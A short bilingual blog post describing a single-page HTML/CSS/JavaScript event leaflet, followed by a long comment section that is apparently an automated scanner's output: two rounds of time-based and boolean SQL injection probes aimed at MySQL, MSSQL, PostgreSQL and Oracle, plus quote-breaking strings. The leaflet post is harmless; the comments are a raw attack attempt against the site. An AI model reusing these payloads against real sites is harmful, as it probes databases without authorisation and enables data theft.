[Page] E-Leaflet

SW Development
Posted on June 1, 2024, 4:39 a.m. by SANGJIN
random_image

I created a single web page(E-Leaflet), which is an electronic event leaflet.

Features are as below

  • Auto-slide animation displaying multiple images

  • Click the menu and move to the section on the page directly

  • Display detailed information in separated tabs

  • Navigating multiple photos(previous,next)

What I used

  • HTML5, CSS, Javascript

==

한페이지짜리 웹 페이지(E-Leaflet) 를 만들어 보았다. 행사가 있을때 해당 내용 및 사진을 안내 할수 있는 한페이지 짜리 리플릿 이다.

아래와 같은 간단한 기능들을 포함하고 있다.

  • 자동으로 여러 이미지들을 슬라이드 쇼로 보여주기 (자동 넘김)

  • 메뉴 클릭 시, 페이지 내 해당 섹션으로 이동

  • 탭으로 구분하여 세부 정보 표시

  • 여러 사진을 탐색 할 수 있는 기능 (사진첩)

내가 적용한 기술들은 다음와 같다.

  • HTML5, CSS, Javascript

CSS HTML Javascript

Leave a Comment:
Log in and leave a comment
fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

cFhv0c3S

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

*1

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

*1

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

*1

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

*1

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1 OR 2+536-536-1=0+0+0+1

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1 OR 3+536-536-1=0+0+0+1

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

*if(now()=sysdate(),sleep(15),0)

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1; waitfor delay '0:0:15' --

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1); waitfor delay '0:0:15' --

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1 waitfor delay '0:0:15' --

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

X32FZXEh'; waitfor delay '0:0:15' --

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1 OR 854=(SELECT 854 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1) OR 561=(SELECT 561 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

-1)) OR 24=(SELECT 24 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

yLgjyn9e' OR 765=(SELECT 765 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

VHAC96Dx') OR 728=(SELECT 728 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

hb0ceKnt')) OR 401=(SELECT 401 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

'"

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

����%2527%2522\'\"

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:12 a.m.

@@RDyA0

Updated: May 8, 2026, 8:12 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

9rAIOfzu

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

*1

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

*1

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

*1

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

*1

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

-1 OR 2+704-704-1=0+0+0+1

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

-1 OR 3+704-704-1=0+0+0+1

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

*if(now()=sysdate(),sleep(15),0)

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

-1; waitfor delay '0:0:15' --

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

-1); waitfor delay '0:0:15' --

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

-1 waitfor delay '0:0:15' --

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

tC2zkgNV'; waitfor delay '0:0:15' --

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

-1 OR 240=(SELECT 240 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

-1) OR 465=(SELECT 465 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

-1)) OR 769=(SELECT 769 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

A9DvFWYY' OR 254=(SELECT 254 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

6h7IjQYs') OR 460=(SELECT 460 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

Jtu27PFw')) OR 168=(SELECT 168 FROM PG_SLEEP(15))--

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

'"

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

����%2527%2522\'\"

Updated: May 8, 2026, 8:17 a.m.

fnfOzvSR
fnfOzvSR   May 8, 2026, 8:17 a.m.

@@Ib41E

Updated: May 8, 2026, 8:17 a.m.